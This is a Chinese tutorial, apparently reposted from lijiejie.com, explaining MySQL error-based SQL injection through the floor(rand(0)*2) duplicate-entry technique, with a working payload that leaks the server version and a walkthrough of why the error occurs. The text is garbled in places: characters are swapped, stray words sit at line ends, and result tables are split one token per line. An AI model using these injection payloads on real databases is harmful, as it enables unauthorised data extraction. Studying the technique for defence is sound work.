SQL注射取数据的方式有多种:mysql
利用union select查询直接在页面上返回数据,这种最为常见,一个前提是攻击者可以构造闭合的查询。
Oracle中利用监听UTL_HTTP.request发起的HTTP请求,把QuerySet反弹回攻击者的主机。固然,HTTP服务器对URL的长度有必定限制,所以每次可返回的数据量不可过多。
基于错误消息取数据,前提是页面可以响应详细的错误描述。它的一个优势是,咱们可能没必要太费力去猜想和闭合SQL(能够构造子查询,让MySQL在子查询中报错)。
盲注,页面不会显示错误消息。常见基于布尔的盲注、基于时间的盲注,此类注射点利用价值相对要低一点,猜解数据的时间较长。
本篇简单说明很是经典的基于错误回显的MySQL注射。最重要的,就是理解下面的SQL查询:git
select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;github
上面的这条SQL将报错: Duplicate entry '1' for key 'group_key'web
以下图sql
1. 为何MySQL注射要用information_schema库?
答案是这个库是MySQL自带的,安装以后就建立好了,全部帐号都有权限访问。攻击者无需猜解库名、表名。跟Oracle注射使用dual相似。数据库
2. 如何利用报错取数据?
利用报错,攻击者把目标数据concat链接到floor()函数的先后便可。服务器
例如,下面的语句用于获取MySQL Server版本,构造:函数
mysql> select count(*),concat( floor(rand(0)*2), 0x5e5e5e, version(), 0x5e5e5e) x from information_schema.character_sets
group by x;
ERROR 1062 (23000): Duplicate entry '1^^^5.5.28^^^' for key 'group_key'工具
经过报错,便可知道当前数据库是5.5.28。0x5e5e5e是3个尖括号的16进制表示。 自动化SQL注射工具一般会在目标数据先后作相似的标记,方便程序提取。this
加上标记,也能够方便攻击者在大的页面中搜索。
3. 为什么这条语句会报错?
rand(0)是把0做为生成随机数的种子。首先明确一点,不管查询多少次,不管在哪台MySQL Server上查询,连续rand(0)生成的序列是固定的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
mysql
>
select
rand
(
0
)
*
2
x
from
information_schema
.
character_sets
;
+
--
--
--
--
--
--
--
--
--
--
-
+
|
x
|
+
--
--
--
--
--
--
--
--
--
--
-
+
|
0.3104408553898715
|
|
1.241763483026776
|
|
1.2774949104315554
|
|
0.6621841645447389
|
|
1.4784361528963188
|
|
1.4056283323146668
|
|
0.5928332643516672
|
|
0.7472813862816258
|
|
1.9579071998204172
|
|
1.5476919017244986
|
|
1.8647379706285316
|
|
0.6806142094364522
|
|
1.8088571967639562
|
|
1.002443416977714
|
|
1.5856455560639924
|
|
0.9208975908541098
|
|
1.8475513475458616
|
|
0.4750640266342685
|
|
0.8326661520010477
|
|
0.7381387415697228
|
|
1.192695313312761
|
|
1.749060403321926
|
|
1.167216138138637
|
|
0.5888995421946975
|
|
1.4428493580248667
|
|
1.4475482250075304
|
|
0.9091931124303426
|
|
0.20332094859641134
|
|
0.28902546715831895
|
|
0.8351645514696506
|
|
1.3087464173405863
|
|
0.03823849376126984
|
|
0.2649532782518801
|
|
1.210050971442881
|
|
1.2553950839260548
|
|
0.6468225667689206
|
|
1.4679276435337287
|
|
1.3991705788291717
|
|
0.5920700250119623
|
+
--
--
--
--
--
--
--
--
--
--
-
+
应用floor函数(取浮点数的整数部分)后,结果变成了:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
mysql
>
select
floor
(
rand
(
0
)
*
2
)
x
from
information_schema
.
character_sets
;
+
--
-
+
|
x
|
+
--
-
+
|
0
|
|
1
|
|
1
|
|
0
|
|
1
|
|
1
|
|
0
|
|
0
|
|
1
|
|
1
|
|
1
|
|
0
|
|
1
|
|
1
|
|
1
|
|
0
|
|
1
|
|
0
|
|
0
|
|
0
|
|
1
|
|
1
|
|
1
|
|
0
|
|
1
|
|
1
|
|
0
|
|
0
|
|
0
|
|
0
|
|
1
|
|
0
|
|
0
|
|
1
|
|
1
|
|
0
|
|
1
|
|
1
|
|
0
|
+
--
-
+
39
rows
in
set
(
0.00
sec
)
能够看到,第二行和第三行的值都是1。这也是最终引发MySQL报错Duplicate entry的地方。
实际上,咱们分开执行下面的两种查询,都是不会出错的:
a) select floor(rand(0)*2) x from information_schema.character_sets group by x;
上面的查询根据x列的值进行分组,获得:
1
2
3
4
5
6
+
--
-
+
|
x
|
+
--
-
+
|
0
|
|
1
|
+
--
-
+
b) select count(*), floor(rand(0)*2) x from information_schema.character_sets;
获得information_schema.character_sets总共有39行:
1
2
3
4
5
6
+
--
--
--
--
--
+
--
-
+
|
count
(
*
)
|
x
|
+
--
--
--
--
--
+
--
-
+
|
39
|
0
|
+
--
--
--
--
--
+
--
-
+
1
row
in
set
(
0.00
sec
)
请注意,这里x的值出现的是0。
c) 将上述语句结合后即报错
select count(*), floor(rand(0)*2) x from information_schema.character_sets group by x;
咱们预期的结果, 实际上是:
1
2
3
4
5
6
7
8
+
--
--
--
--
--
+
--
-
+
|
count
(
*
)
|
x
|
+
--
--
--
--
--
+
--
-
+
|
18
|
0
|
+
--
--
--
--
--
+
--
-
+
|
11
|
1
|
+
--
--
--
--
--
+
--
-
+
2
row
in
set
(
0.00
sec
)
然而MySQL在内部处理中间结果的时候,出现了意外,致使报错。
转自 http://www.lijiejie.com/mysql-injection-error-based-duplicate-entry/